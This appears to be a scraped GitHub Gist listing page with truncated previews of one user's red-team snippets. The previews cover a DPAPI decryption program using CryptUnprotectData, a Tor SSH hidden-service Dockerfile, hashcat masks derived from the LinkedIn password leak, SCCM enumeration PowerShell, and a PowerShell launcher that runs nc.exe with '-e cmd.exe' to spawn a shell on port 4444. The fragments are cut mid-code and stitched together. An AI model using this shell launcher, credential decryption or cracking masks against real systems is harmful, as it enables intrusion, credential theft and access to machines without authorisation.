Skip to content

Instantly share code, notes, and snippets.

<html>
<body>
<script>
(async () => {
// Fetch the top story IDs
const topStoriesUrl = 'https://hacker-news.firebaseio.com/v0/topstories.json?print=pretty';
const response = await fetch(topStoriesUrl);
const storyIds = await response.json();
// Limit to the top 100 stories
@postworthy
postworthy / unprotect.c
Created November 8, 2023 18:12
A simple c program that takes a base64 encoded string containing data protected with CryptProtectData and calls CryptUnprotectData on it
/*
* To build run the following commands (ensure that the path to vcvars64.bat matches with your build environment)
* call "C:\Program Files (x86)\Microsoft Visual Studio\2019\Enterprise\VC\Auxiliary\Build\vcvars64.bat"
* cl /EHsc unprotect.c /link Advapi32.lib Crypt32.lib
*/
#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>
#include <string.h>
FROM gradle:latest as restapi
WORKDIR /app
RUN echo -e '\033[36;1m ******* INSTALL GIT ******** \033[0m' && \
apt-get update && apt-get upgrade -y && \
apt-get install -y git jq
RUN echo -e '\033[36;1m ******* PULL BURP-REST-API (from Fork) ******** \033[0m' && \
git clone https://github.com/vmware/burp-rest-api.git
#
# # This is a Dockerfile which implements the basics for creating a ssh hidden service in a docker container
#
# # Usage:
#
# docker build --pull --rm -f "Dockerfile" -t torssh:latest "."
# docker run torssh:latest
#
# # It will output for you the onion url as well as the 100character random password
# # You have ~60 seconds to establish the connection before the service dies.
?u?l?d?d?d?d?d?d
?d?d?d?d?d?d?u?l
?u?d?d?d?d?d?d?l
?d?d?d?d?d?d?l?u
?l?u?d?d?d?d?d?d
?u?l?l?d?d?d?d?d
?d?d?d?d?d?u?l?l
?u?l?u?d?d?d?d?d
?u?l?l?l?d?d?d?d
?d?d?d?d?u?l?l?l
@postworthy
postworthy / linkedin.hcmask
Last active May 2, 2020 05:22
https://github.com/postworthy/PassGenAI masks generated from LinkedIn password list
?u?l?d?d?d?d?d?d
?d?d?d?d?d?d?u?l
?u?d?d?d?d?d?d?l
?l?u?d?d?d?d?d?d
?d?d?d?d?d?d?l?u
?l?d?d?d?d?d?d?u
?d?d?d?d?u?l?d?d
?u?d?d?d?l?d?d?d
?u?d?d?l?d?d?d?d
?d?d?u?l?d?d?d?d
@postworthy
postworthy / PatchExtract125.ps1
Created April 7, 2020 21:35 — forked from anonymous/PatchExtract125.ps1
Patch Extract v1.25 by Greg Linares (@Laughing_Mantis)
<#
================
PATCHEXTRACT.PS1
=================
Version 1.25 Microsoft MSU Patch Extraction and Patch Organization Utility by Greg Linares (@Laughing_Mantis)
This Powershell script will extract a Microsoft MSU update file and then organize the output of extracted files and folders.
Organization of the output files is based on the patch's files and will organize them based on their archicture (x86, x64, or wow64)
as well as their content-type, ie: resource and catalog files will be moved to a JUNK subfolder and patch binaries and index files will
$cmd="nc.exe";
$args="127.0.0.1 4444 -e cmd.exe";
$user="root";
$pass= ConvertTo-SecureString "toor" -AsPlainText -Force;
$p = New-Object System.Diagnostics.Process;
$p.StartInfo.FileName = $cmd;
$p.StartInfo.Arguments = $args;
$p.StartInfo.CreateNoWindow = $True;
$p.StartInfo.UseShellExecute = $False;
$p.StartInfo.UserName = $user;
#You will need to have SCCM Admin Installed before running this script
Import-Module "$($ENV:SMS_ADMIN_UI_PATH)/../ConfigurationManager.psd1"
cd $(reg query 'HKLM\SOFTWARE\Microsoft\SMS\Mobile Client' /v AssignedSiteCode | where { $_.Contains("AssignedSiteCode") } | % { $_.Split(( " " ), [System.StringSplitOptions]::RemoveEmptyEntries)[2] + ":" })
Get-CMUser | select SMSID
Get-CMApplication | select LocalizedDisplayName
Get-CMPackage -Fast | select Name, PkgSourcePath
Get-CMProgram | select ProgramName, CommandLine
Get-CMQuery | select Name, Expression
Get-CMResource -ResourceType System -Fast | select Name, IPAddress, IPSubnets, OperatingSystemNameandVersion, Build, BuildExt
Get-CMTaskSequence | select Name, Sequence
#You will need to have SCCM Admin Installed before running this script
Import-Module "$($ENV:SMS_ADMIN_UI_PATH)/../ConfigurationManager.psd1"
cd $(reg query 'HKLM\SOFTWARE\Microsoft\SMS\Mobile Client' /v AssignedSiteCode | where { $_.Contains("AssignedSiteCode") } | % { $_.Split(( " " ), [System.StringSplitOptions]::RemoveEmptyEntries)[2] + ":" })
Get-CMUser | select SMSID
Get-CMApplication | select LocalizedDisplayName
Get-CMPackage -Fast | select Name, PkgSourcePath
Get-CMProgram | select ProgramName, CommandLine
Get-CMQuery | select Name, Expression
Get-CMTaskSequence | select Name, Sequence
Get-CMTrustedRootCertificate